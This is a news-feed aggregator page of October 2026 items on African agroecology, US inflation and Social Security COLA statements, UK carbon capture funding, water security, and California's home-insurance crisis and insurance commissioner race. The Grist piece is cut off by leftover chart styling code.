You are here

News Feeds

AFSA Newsletter | July-September | 2026

AFSA - Wed, 10/14/2026 - 07:33

The third quarter of 2026 showed AFSA operating across the full landscape of Africa’s food systems transformation. From parliamentary chambers and continental policy processes to farmer fields, media spaces, youth platforms and international forums, the work moved steadily between ideas and action. The Pan African Parliament’s decision to advance a continental Model Law on African Food Policy created an important opening for greater coherence in how Africa governs food, agriculture, health, trade and the environment. At the same time, AFSA strengthened advocacy for farmer managed seed systems, challenged provisions in the proposed East African Community Seed and Plant Varieties Bill, and continued pressing for laws that recognise farmers not as beneficiaries of seed systems, but as their custodians and rights holders.

The quarter also placed difficult questions about finance and agricultural development firmly on the table. At the Africa Food Systems Forum in Kigali, through the release of The Green Revolution Has Failed Africa, and in AFSA’s support for the Food, Land & Money report, a consistent question emerged: who controls the resources shaping Africa’s agricultural future, and whose interests do those investments ultimately serve? These interventions were matched by practical alternatives. In Yaoundé, 198 participants from the six Congo Basin countries adopted a regional action agenda for agroecology, biodiversity and climate justice. In Kenya, farmers, scientists and development partners advanced plans for an African agenda on locally produced biofertilisers. In Tanzania, researchers, farmer organisations and policymakers examined how evidence can better influence policy, while a new urban agroecology learning series began connecting practical experiences from African cities.

Climate action was another defining thread. In Ethiopia, AFSA connected negotiators and civil society directly with agroecology in practice before convening more than 130 participants from 33 countries to shape a common African civil society position towards COP31 and COP32. In Harare, AFSA entered the technical spaces where the next decade of CAADP implementation will be measured and financed, defending the place of agroecology in national and regional investment plans. At the same time, 24 journalists from 15 countries were equipped to investigate the science, seed politics and financial flows behind African food systems, while young agroecology entrepreneurs used International Youth Day to demonstrate that ecological farming can also generate livelihoods, innovation and opportunity. The Battle for African Agriculture podcast carried these conversations further, connecting science, policy, women’s experiences, environmental leadership and African knowledge with wider public debate.

This was also a quarter of profound loss. The passing of Sena Alouka, founding Chair of AFSA’s Climate and Agroecology Working Group, touched the entire movement. His life embodied many of the values reflected throughout this edition: belief in young people, courage in confronting harmful systems, faith in African knowledge and the conviction that organised communities can change their future. His absence is deeply felt, but the work carried across these pages is also part of the legacy he leaves behind. The third quarter therefore closes with both achievement and responsibility: important doors have opened, stronger alliances have been built and clearer alternatives have been articulated. The task now is to carry that momentum forward and ensure that Africa’s food systems are shaped increasingly by the people who grow, protect, prepare and depend on its food.

Download the Newsletter: EN Téléchargez la lettre d'information ici : FR
Categories: A3. Agroecology

Prices Surge as Trump Fails to Deliver Relief for Working Families

Common Dreams - Wed, 10/14/2026 - 07:30

Today’s Consumer Price Index (CPI) report shows prices rose 0.6% in September and are up 3.7% over the past year, the fastest pace since May. Gasoline prices jumped 9.1% in September alone, accounting for over half of the monthly increase in overall prices, and are up 34% from a year ago. Core CPI, excluding food and energy, rose 0.33% in September, the largest monthly increase since April.

Americans are increasingly frustrated with Trump's failure to bring down high prices. Consumers' views of current economic conditions are at an all-time low, and 82% of Americans disapprove of Trump's handling of the cost of living. Instead of working to rein in inflation, Trump is trying to pull a fast one on voters, spewing empty promises to bring prices down and send Americans a $5,000 “Trump dividend” if Republicans hold Congress, despite having never delivered on the DOGE and tariff checks he promised last year.

Today's inflation report is the last before the Federal Reserve's October 28 interest rate decision. The Fed raised interest rates last month for the first time in three years because of inflation concerns, and most officials anticipate another increase by the end of the year. In its latest meeting minutes, the Fed pointed to Trump's tariffs and higher energy costs, as well as the president’s never-ending war with Iran, as drivers of persistent inflation. Trump’s war and tariffs are raising the prices of nearly everything families buy, and now his actions are raising borrowing costs for families, too.

Groundwork’s Senior Vice President of Policy, Advocacy, and Research Alex Jacquez, released the following statement:

“It’s no wonder Americans have lost faith in Trump’s economy. The president has repeatedly made promises he can’t keep, and despite the band-aid attempts from the White House, there is a gaping hole in our economy just weeks from the midterms. Between the president’s war in Iran and reckless tariffs, his economy is on life support.”
Categories: F. Left News

Statement by Retiree Leader Richard Fiesta on the 3.6% COLA Increase for Social Security Beneficiaries

Common Dreams - Wed, 10/14/2026 - 07:22

The following statement was issued by Richard Fiesta, Executive Director of the Alliance for Retired Americans, regarding the announcement that there will be a 3.6% cost-of-living (COLA) benefit increase for millions of Social Security beneficiaries next year:

“Millions of Americans who rely on Social Security welcome any increase in their monthly benefits, but even this larger-than-normal cost-of-living increase is just not enough to keep up with the cost of food, gas, utilities, and prescription drugs.

“The average retired worker will see about $74 more per month next year but a good chunk of that will be wiped out by the higher Medicare Part B premium, which is projected to rise to $209.50 a month in January.

“Strengthening and expanding Social Security must be a national priority. If billionaires and the wealthiest 1 percent pay their fair share, we can boost benefits for everyone, implement a COLA that reflects the cost of things older Americans spend money on, and guarantee the program’s solvency for future generations. It’s time for clear and decisive action.

“In just three weeks, older Americans will have an opportunity to elect members of Congress who will make strengthening Social Security a priority. The future of our earned benefits is on the ballot.”

Categories: F. Left News

Carbon capture industry faces tough future, as UK raids green spending

Climate Change News - Wed, 10/14/2026 - 07:22

The UK government warned the Carbon Capture and Storage Association’s (CCSA) annual conference on Tuesday that the fledgling industry should prepare to receive less financial support from taxpayers in the future.

As the left-wing Labour government, under its new leader Andy Burnham, seeks to boost military spending in line with NATO allies, it is reportedly looking to cut funding for emissions-reduction projects, with subsidies for carbon capture and heat pumps among the projects in the firing line.

Martin McCluskey, a junior minister in the UK’s Department for Energy and Net Zero (DESNZ), told the CCSA conference in Westminster that, while the government supports the industry, “it is no secret that we are operating in a challenging fiscal environment and this government remains committed to meeting its fiscal rules”.

“So I owe it to you today to level with you,” he said. “The next phase of the CCUS (carbon capture, use and storage) programme will be in the context of broader, difficult decisions on funding. We must ensure that public investment is targeted where it can deliver the greatest value while continuing to build confidence in the long-term future of the sector.”

Minister McCluskey speaks at the CCSA conference on Tuesday (Photo: CCSA)

He warned that this may mean “making decisions about priorities, sequencing and pace and recognising that progress will not always happen everywhere at once”. “But this will also mean opportunity as we move beyond first-of-a-kind projects,” he added.

Earlier in the day, the energy ministry’s industrial carbon capture and storage (CCS) lead Stefanie Murphy was asked by an audience member if it had become clear that the government could not afford to support future carbon transport and storage projects at the same level as in the past.

“I think yes,” she replied. “We can all see the fiscal realities that we’re facing,” she said, adding that the government’s top priority is tackling the cost of living and, while it also wants to grow the economy, there are lots of competing priorities for its money.

She urged the industry to reduce costs and demonstrate its benefits in terms of job creation and regeneration of economically deprived areas.

    Opening the conference, the CCSA’s chief executive Olivia Powis made that case, arguing that CCS “engineers in Teesside, fabricators in Hartlepool, construction workers in north Wales” are “what reindustrialisation looks like”.

    Speaking before the government officials took the stage, she warned that “this momentum is not inevitable. The first projects have created confidence because governments made commitments and industry invested against them.”

    “If that commitment weakens now, investment and developers will not simply wait. They will go elsewhere. The UK has worked hard to establish itself as a global leader in CCUS. We cannot afford to lose that position just as delivery begins,” she said.

    Olivia Powis, chief executive of the CCSA speaks to the conference on Tuesday (Photo: CCSA)

    Eoin Devane, acting director of net zero for the UK government’s official advisers, the Climate Change Committee, said the government is relying on CCS to meet its carbon budgets and 2050 net zero target, but has “insufficient plans” to deliver these emissions cuts and there are “significant risks” it will fail.

    Necessary but limited

    CCS is when carbon dioxide is captured from a concentrated source – like a cement kiln’s exhaust – and then transported by pipeline, train or ship to be stored underground either at sea or on land.  

    It is controversial among many climate campaigners, as it is favoured as a solution to greenhouse gas emissions by fossil fuel companies that are keen to keep on making money both by producing more oil and gas and by storing carbon dioxide in reservoirs they have already exploited.

    But experts describe it as having a necessary – although limited and expensive role – in the transition to clean energy. Scientists with the UK’s Climate Change Committee and the Intergovernmental Panel on Climate Change’s (IPCC) say it is required to help clean up the emissions of industries like cement and chemical production that are hard to replace with renewable electricity.

    But the IPCC also says that CCS is one of the costliest ways to reduce climate-heating emissions. Whereas industries like solar and wind energy are now mostly profitable without subsidies, the CCS industry continues to rely on taxpayers for support.

    Northern Lights, the crown jewel of Europe’s CCS industry, was 80% funded and “enabled very much” by the Norwegian government, its managing director Tim Heijn told the conference.

    Tim Heijn (right) shows then UK prime minister Keir Starmer (left) and Norwegian prime minister Jonas Gahr Støre (second from right) around Northern Lights’ facility (Simon Dawson/No.10 Downing Street)

    The project captures carbon dioxide from emitters across Europe, ships it as a liquid to Norway’s west coast and transports it through a 100km pipeline to be injected into a reservoir 2,600 metres below the seabed.

    Carbon dioxide emitters, like cement plants, also receive government subsidies and carbon credit revenues to help them pay to store their carbon dioxide, Hejn added. They can sell their products, like low-carbon cement, for a green premium.

    Ways to become financially sustainable

    With subsidies in the UK likely to dwindle, panellists at the conference were asked whether – and how – their business could become financially sustainable. 

    Cristel Lambton, technical and operations director of Italian oil company Eni’s CCUS arm, said the industry “still needs funding at this stage”. “We all want the CCUS market to be a sustainable market but we can’t just rush towards it,” she added.

    Tanisha Beebee, CCS lead at British oil and gas company Harbour Energy, said the shifting economic and political situation had led her company to try and change business models in a bid to reduce reliance on government subsidies and lower its costs. 

    Jack Richards, CCS lead at a company called Spirit Energy which wants to repurpose its Morecambe gas field to store carbon, argued that reliance on government funding would ease if there was a higher carbon price, making emitting greenhouse gases more expensive compared to capturing and storing them and therefore boosting demand for CCS. 

    Another problem is that the interest of some CCS customers in the UK appears to be waning. Hydrogen-maker BOC, a subsidiary of Linde, withdrew its interest in the Northern Endurance Partnership offshore carbon storage scheme in September 2025. BP also withdrew after cancelling a blue hydrogen project in the region, leaving just one gas-fired power plant called Net Zero Teesside as a customer. 

    Waste management company Viridor, however, is still interested in paying for its emissions to be captured and stored. Its CCUS director James Eyton said the timeline for becoming independent of government support is “tricky”, adding that the sale of carbon credits could be a “fundamental alternative revenue source” for the CCUS industry.

    The post Carbon capture industry faces tough future, as UK raids green spending appeared first on Climate Home News.

    Categories: H. Green News

    Social Security’s COLA is on the Ballot in November

    Common Dreams - Wed, 10/14/2026 - 07:19

    The following is a statement from Nancy Altman, President of Social Security Works, on Social Security’s 2027 cost-of-living adjustment (COLA), which will be 3.6 percent:

    “Every year, Social Security’s benefits are automatically adjusted to account for inflation. This is an essential feature of the system, which prevents benefits from eroding over time.

    Next year’s COLA can’t come soon enough for many Social Security beneficiaries. The Trump administration's war of choice with Iran and tariff chaos have driven gasoline prices up nearly 40 percent, and caused grocery costs to skyrocket.

    The COLA adjustment will help. But it doesn’t fully account for the costs that Social Security beneficiaries face. That’s because the measure used to calculate it, the CPI-W, is designed to reflect the costs of working people — not retirees, who spend a higher percentage of their income on healthcare, housing, and other bare necessities.

    Democrats in both the House and Senate have plans to improve the COLA, by switching to a more accurate measure, the CPI-E. Meanwhile, Republicans complain that the current COLA measure is too generous.

    Many Republicans, including Speaker Mike Johnson, have endorsed plans to use a stingier measure, the chained CPI. That’s a cut to the American people’s hard-earned benefits.

    Over time, switching to the chained CPI, as the Republicans have proposed, would shrink yearly benefits by hundreds and even thousands of dollars. Switching to the CPI-E, as the Democrats propose, would increase benefits. This would particularly impact women and Hispanics, who have longer average life expectancies.

    In 2032, within the six-year terms of U.S. Senators elected this November, Social Security is projected to face a funding shortfall. The vast majority of Republicans refuse to support a single penny in revenue increases, even from the ultra-wealthy, to address the shortfall. That leaves benefit cuts, including less generous COLAs, as their only option.

    The bottom line: Social Security’s future is on the ballot this November, and that includes the size of annual COLA adjustments.”

    Categories: F. Left News

    Food Tank Explains: Water Security

    Food Tank - Wed, 10/14/2026 - 06:25

    This article is part of Food Tank’s primer series, “Food Tank Explains.” Each installment unpacks the ideas, innovations, and challenges shaping today’s food and agriculture systems, offering clear insights into complex topics. To explore more articles in the series, click here.

    Water security refers to sustainable access to safe, affordable, and reliable water to support human well-being, livelihoods, economic development, and healthy ecosystems. It encompasses not only available water, but also water quality, accessibility, affordability, and reliability.

    Although water covers approximately 71 percent of Earth’s surface, only about 3 percent is freshwater, and less than 1 percent is readily accessible for human use. Agriculture accounts for approximately 70 percent of global freshwater withdrawals, followed by industry at 15 percent and domestic and municipal uses at 13 percent.

    In a January 2026 report, the United Nations University Institute for Water, Environment and Health (UNU-INWEH) warned that the term “water crisis” no longer adequately describes the state of global freshwater resources. The researchers conclude that the world has entered an era of “global water bankruptcy,” in which prolonged overuse has depleted and damaged freshwater systems beyond realistic prospects of full recovery.

    “The term “water crisis” implies a temporary shock and deviation from the baseline,” Kaveh Madani, Director of the UNU-INWEH and author of the report, tells Food Tank. “But we are dealing with a new normal—a post-crisis state of failure.”

    The report estimates that approximately 2.2 billion people lack access to safely managed drinking water. According to the World Resources Institute (WRI), around 4 billion people experience severe water stress for at least one month each year.

    Global freshwater withdrawals have more than doubled since 1960, as populations, economies, and agricultural production have expanded. And by 2050 the world is projected to demand 20 to 25 percent more water. WRI projects that the number of people experiencing severe water scarcity could rise by 40 percent by the end of the century.

    According to the UNU-INWEH, water withdrawals in many river basins and aquifers have exceeded natural replenishment rates for decades. This prolonged overuse has depleted groundwater reserves and damaged rivers, lakes, wetlands, and other freshwater systems, sometimes beyond realistic prospects of full recovery.

    Meanwhile, the Intergovernmental Panel on Climate Change (IPCC) reports that rising temperatures and changing precipitation patterns are affecting water availability worldwide. Higher temperatures increase evaporation, while shifting rainfall patterns contribute to more severe droughts and flooding in many regions.

    Agriculture is particularly vulnerable to water shortages, which can reduce crop yields, disrupt livestock production, and threaten the livelihoods of farmers and agricultural workers. These disruptions can also reduce food availability and contribute to higher prices, particularly in regions where agriculture supports a large share of employment.

    According to the U.N. Food and Agriculture Organization (FAO), water insecurity disproportionately affects low-income communities and smallholder farmers, who often lack the resources to secure alternative water supplies or adapt to prolonged shortages.

    Inadequate access to safe water and sanitation also threatens public health. According to the World Health Organization, contaminated water and poor sanitation are linked to transmission of diseases such as cholera, diarrheal diseases, dysentery, hepatitis A, typhoid and polio.

    And water shortages can prevent households from meeting basic needs and force changes in daily activities, including food preparation and dietary choices. Tools like the Water Insecurity Experiences (WISE) Scales measure how water insecurity affects daily life, evaluating whether households have had to change what they eat, go to sleep thirsty, or forgo basic activities because of inadequate water access.

    FAO calls for more efficient agricultural water use, alongside policies that balance the needs of farmers, communities, industries, and ecosystems. Measures such as improved irrigation, rainwater harvesting, and soil moisture conservation can help farmers maintain production while reducing pressure on water supplies.

    But the UNU-INWEH warns that efficiency improvements alone are insufficient where water use exceeds sustainable limits. Its 2026 report calls for stronger governance, enforceable limits on withdrawals, and protection of freshwater ecosystems, supported by cooperation within and across national borders.

    In a Food Tank op-ed, Lee Recht, Founder of Table of Choices, Hosni Ghedira, Chair of MENA2050’s Water Security Committee, and Hakima El Haite, Chair of MENA2050’s Climate Action Committee, emphasize the need for regional cooperation, noting that water resources, food systems, and energy infrastructure are interconnected across national borders. They highlight emerging solutions in the Middle East and North Africa, including renewable-powered desalination and farming practices that improve water retention, and call for greater investment to expand their use.

    “Water is not a resource like any other. It is the crux of human security, global food systems, biodiversity, public health, and peace,” Madani tells Food Tank.

    Articles like the one you just read are made possible through the generosity of Food Tank members. Can we please count on you to be part of our growing movement? Become a member today by clicking here.

    Photo courtesy of Nishaan Ahmed, Unsplash

    The post Food Tank Explains: Water Security appeared first on Food Tank.

    Categories: A3. Agroecology

    “Playing catch-up:” Sunshot targets cheaper construction in quest for ultra-low cost solar

    Renew Economy - Wed, 10/14/2026 - 06:05

    Arena says the pursuit of ultra-low cost solar is making "good progress" at the panel and cell level, but there's a "long way to go" on cutting construction costs for utility-scale PV.

    The post “Playing catch-up:” Sunshot targets cheaper construction in quest for ultra-low cost solar appeared first on Renew Economy.

    Protest Against AI Mass-Cloned Chestnut Trees at Mycology Summit

    Global Justice Ecology Project - Wed, 10/14/2026 - 05:57
    At the 2026 New Moon Mycology Summit in September, participants held a protest against plans by the SilvaBio Corporation to genetically engineer fungus resistant chestnut trees using “AI-assisted mass-cloning” in order to manufacture and sell one million or more per year.
    Categories: B4. Radical Ecology

    After a decade of wildfires, an overlooked election could shape California’s climate future

    Grist - Wed, 10/14/2026 - 05:50

    Insurance is a social contract. When you sign up with State Farm or Allstate for home insurance, you confirm your membership in a community — your money will go to fix someone else’s burned or flooded home, and their money will in turn support yours. We let insurance companies sell policies on a private market, and we elect or appoint government officials to oversee that market to protect the interests of homeowners.

    That’s how it’s supposed to work, but that’s not how it panned out for Lynn McIntyre. 

    When McIntyre’s mother died in 2022, she willed McIntyre her longtime house in the “Alphabets,” a charming neighborhood not far from the coast in western Los Angeles. McIntyre and her daughter had only lived there for a year when her insurance company, Liberty Mutual, withdrew her fire coverage. She couldn’t find another private company to cover the home’s fire risk, so she enrolled in the California FAIR Plan, a state-backed “insurer of last resort,” paying another $5,000 a year in addition to her regular home insurance from Liberty.

    After the Palisades Fire raged through the Alphabets in early 2025, McIntyre’s small bungalow was still standing. But it was full of smoke and ash that had crept in through vents and windows, and her belongings were stained beyond recognition by smoke. When she filed a claim with the FAIR Plan, the plan adjusters told her she was out of luck. They would pay for a temporary apartment, but nothing else.

    McIntyre, who had worked for years as a real estate broker, spent months battling with 10 different adjusters and dozens of FAIR Plan representatives. It didn’t work. The employees batted her away at every turn, hiring third-party adjusters failed to get her anywhere, and her attorney professed himself confounded by FAIR’s obstinance. Even as most of her neighbors cleared their debris and started building new fire-resilient homes, many of them much larger than their old properties, her old bungalow sat stained with smoke. 

    Lynn McIntyre stands in front of her damaged home in the Alphabet Streets. McIntyre’s home suffered extensive smoke damage during the Palisades Fire, but the California FAIR Plan offered her almost no rebuilding assistance. Jake Bittle / Grist

    It was only in late August, more than 18 months after the wildfire, that she was about to start repairing her home — not with insurance money, but with a nearly $200,000 loan from the federal government that she will someday have to pay back. To make matters worse, FAIR has been trying to cut off her apartment expenses, telling her that power and water have come back online in her area and that she needs to move back home — never mind that her house still has boarded-up windows and a scorched exterior. Meanwhile, Liberty Mutual informed her this summer that they would be canceling her non-fire coverage.

    “The next time a fire comes through, I’m just going to light it on fire, because I’m not going to go through this again,” McIntyre said wryly as we stood in her doorway, construction machines rattling at the other houses around us. 

    Ensuring that Californians like McIntyre have access to affordable insurance falls to an elected official that many Californians have likely never heard of: the insurance commissioner. The commissioner, one of eight elected state officials in California, regulates the companies that provide fire, home, and auto coverage in the Golden State. 

    Over the last eight years, the incumbent insurance commissioner presided over what parties on all sides have called a “disaster,” a “crisis,” and a “collapse” in the state’s home insurance market. Now, as the current commissioner terms out, two Democratic candidates — Ben Allen and Jane Kim — have emerged claiming they can fix it. These candidates embody a debate in the Democratic Party about the best way to adapt to climate change. Allen, an established legislator representing Pacific Palisades, wants to rebuild the market, and Kim, a left-wing organizer from San Francisco, wants to ditch the idea of a private market altogether.

    California State Senator Ben Allen, left, and insurance commissioner candidate​ Jane Kim each address the crowd during the California Democratic Party State Convention at the Moscone Center in San Francisco in February 2026. Christina House / Los Angeles Times via Getty Images​

    Whoever wins in November will inherit an insurance system battered by a decade of devastating wildfires, insurers pulling out of the state, and other upheaval. Climate change and decades of poor forest management have turned California’s woodlands into tinderboxes, and the problem will only get worse as the planet continues to warm. The current crisis in the insurance market began with a series of unprecedented wildfires between 2015 and 2020. These fires scorched around 4 million acres and destroyed 35,000 homes, many in areas that had never been known to burn. Insurance companies like State Farm and Farmers had to pay out billions of dollars in claims, enough to negate the profits they had made from writing fire insurance policies over the previous two decades. 

    The companies believed they were charging Californians far too little, but the price of insurance isn’t elastic like the price of gasoline or paper towels. Insurers have to seek permission from the state insurance commissioner to raise their prices. California was strict about those price hikes, and it blocked insurers’ attempts to pass their post-fire bill onto the state’s homeowners. The insurance industry’s response was to ditch California. They dropped tens of thousands of customers across the state, and companies like State Farm announced they would withdraw from the state altogether and cease writing any new policies. 

    “There’s something broken that so many of us are facing the same issues,” McIntyre said, “and they just think they can just roughshod right on over all of us.” 

    The lack of available insurance is starting to hurt the state’s economy: Around 1 in 7 California realtors said they had a home sale fall through in 2024 due to insurance issues, the state’s FAIR plan ran out of claims money last year, and average premiums could rise by 16 percent this year. The trend is now spreading out of the most flammable zones, and many homeowners even in low-risk areas are struggling to get insurance.

    The outcome of the November election could determine the trajectory of insurance bills for millions of Californians and decide the fate of fire-prone areas around the state. The election will also serve as a bellwether for how voters in the United States want to approach the expensive and difficult process of adapting to a warming world, and whoever wins will have to turn that mandate into a policy that can offer short-term relief. This would be a daunting job under the best of times, and these are not the best of times. 

    An aerial view of reconstruction efforts underway in Pacific Palisades after the Palisades Fire. Many residents of the community lost insurance coverage before the fire, forcing them to enroll in the California FAIR Plan. Qian Weizhong / VCG via Getty Images

    The current insurance crisis is new, but its origins are very old. Over the last century, California has built millions of homes in the “wildland-urban interface,” the flammable zone outside the state’s major cities. Developers rushed out into the mountains around Lake Tahoe and the desert hills east of San Diego and built without any thought for fire mitigation, throwing up homes with wooden sidings and flammable fences on crowded lots. These are the areas that are burning up in the state’s recent wildfires, and the areas that insurers are dropping en masse.

    This history of unwise development has created a bizarre situation that the scholar Carolyn Kousky has dubbed “a tale of two markets.” Prices ticked up in places that weren’t risky, like wet San Francisco and low-lying Fresno, but the market went haywire in risky areas like Malibu and the High Sierras. Nearly half of all households in high-fire-risk areas lost their insurance between 2018 and 2024. The California FAIR Plan, which was intended as a fringe supplement, became the only option for thousands of homeowners. Since 2018, it has swallowed up a huge share of policies in risky areas, growing from less than 1 to 5 percent of the market today. In some places, it reached 80 percent of market share.

    .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2{--gv-text:#3C3830;--gv-text-2:#747473;--gv-grid:#E0E0E0;--gv-halo:#FFFFFF;--gv-axis:#3C3830;box-sizing:border-box;position:relative;width:100%;text-align:left;font-family:"Basis Grotesque", "Basis Grotesque Pro", Arial, sans-serif;font-weight:500;font-size:16px;line-height:1.3;color:var(--gv-text);margin-top:1.5rem!important;margin-bottom:1.5rem!important;padding:0;letter-spacing:normal;word-break:normal} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 *{box-sizing:border-box} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 div,.gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 span{margin:0;padding:0;font-size:inherit;line-height:inherit} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2.gv-data-dyrj5-hd8w-tep0u2--dark{--gv-text:#F0EDE6;--gv-text-2:#B3ADA3;--gv-grid:#4A4640;--gv-halo:#1C1B19;--gv-axis:#B3ADA3} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__header{margin:0 0 12px} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__title{font-family:"PolySans", Arial, sans-serif;font-weight:500;font-size:24px;line-height:1.2;margin:10px 0 6px;padding:0;color:var(--gv-text);text-transform:none;letter-spacing:normal} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__subtitle{font-family:"Basis Grotesque", "Basis Grotesque Pro", Arial, sans-serif;font-weight:500;font-size:18px;line-height:1.35;margin:0;padding:0;color:var(--gv-text)} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__hl{font-weight:700} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2.gv-data-dyrj5-hd8w-tep0u2--dark .gv-data-dyrj5-hd8w-tep0u2__hl--dk-primary{color:#F0EDE6!important} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2.gv-data-dyrj5-hd8w-tep0u2--dark .gv-data-dyrj5-hd8w-tep0u2__hl--dk-muted{color:#6B665E!important} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__legend{display:flex;flex-wrap:wrap;align-items:center;gap:6px 16px;margin:0 0 8px;padding:0;font-size:14px;line-height:1.2;color:var(--gv-text)} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__legend-item,.gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__legend-item:hover,.gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__legend-item:focus,.gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__legend-item:active{display:inline-flex;flex-direction:row;justify-content:flex-start;align-items:center;gap:6px;font:inherit;color:inherit;background:none;border:0;padding:2px 0;margin:0;line-height:1.2;text-align:left;cursor:default;box-shadow:none;text-transform:none;letter-spacing:normal;border-radius:0;min-height:0;min-width:0;height:auto;width:auto;text-decoration:none} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 button.gv-data-dyrj5-hd8w-tep0u2__legend-item,.gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 button.gv-data-dyrj5-hd8w-tep0u2__legend-item:hover{cursor:pointer} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 button.gv-data-dyrj5-hd8w-tep0u2__legend-item:hover{text-decoration:underline;text-underline-offset:3px} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 button.gv-data-dyrj5-hd8w-tep0u2__legend-item:focus-visible{outline:2px solid #3977F3;outline-offset:2px} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__legend-item--off{opacity:0.35} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__legend--inset{position:absolute;margin:0;z-index:1;pointer-events:none} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__legend--inset[data-corner^="top"]{top:0}.gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__legend--inset[data-corner^="bottom"]{bottom:0}.gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__legend--inset[data-corner$="left"]{left:0}.gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__legend--inset[data-corner$="right"]{right:0} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__city-label{font-family:"Basis Grotesque", "Basis Grotesque Pro", Arial, sans-serif;font-size:12px;font-weight:600;fill:var(--gv-text);stroke:var(--gv-halo);stroke-width:3px;stroke-linejoin:round;paint-order:stroke} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__city-dot{fill:var(--gv-halo);stroke:var(--gv-text);stroke-width:1.25px} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__map-label{font-family:"Basis Grotesque", "Basis Grotesque Pro", Arial, sans-serif;font-size:11px;font-weight:500;letter-spacing:0.02em} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__legend-label{font-family:"Basis Grotesque", "Basis Grotesque Pro", Arial, sans-serif;font-size:12px;fill:var(--gv-text-2)} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__legend-key{font-family:"Basis Grotesque", "Basis Grotesque Pro", Arial, sans-serif;font-size:14px;fill:var(--gv-text)} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__place{cursor:default} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__legend-axis{font-size:11px;color:var(--gv-text-2);margin-left:2px} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__swatch{display:block;flex:none;overflow:visible} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__chart{position:relative;width:100%;margin:0;padding:0} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 svg.gv-data-dyrj5-hd8w-tep0u2__svg{display:block;overflow:visible;max-width:none;height:auto} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 svg text{font-family:"Basis Grotesque", "Basis Grotesque Pro", Arial, sans-serif;font-weight:500;font-size:14px;fill:var(--gv-text);letter-spacing:normal} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__ticks text{font-size:14px} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__cat-labels text{fill:var(--gv-text)} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__grid line{stroke:var(--gv-grid);stroke-opacity:0.7;shape-rendering:crispEdges} .gv-data-dyrj5-hd8w-tep0u2#gv-data-dyrj5-hd8w-tep0u2 .gv-data-dyrj5-hd8w-tep0u2__baseline{stroke:var(--gv-axis);stroke-width:1;shape-rendering:crispEdges} 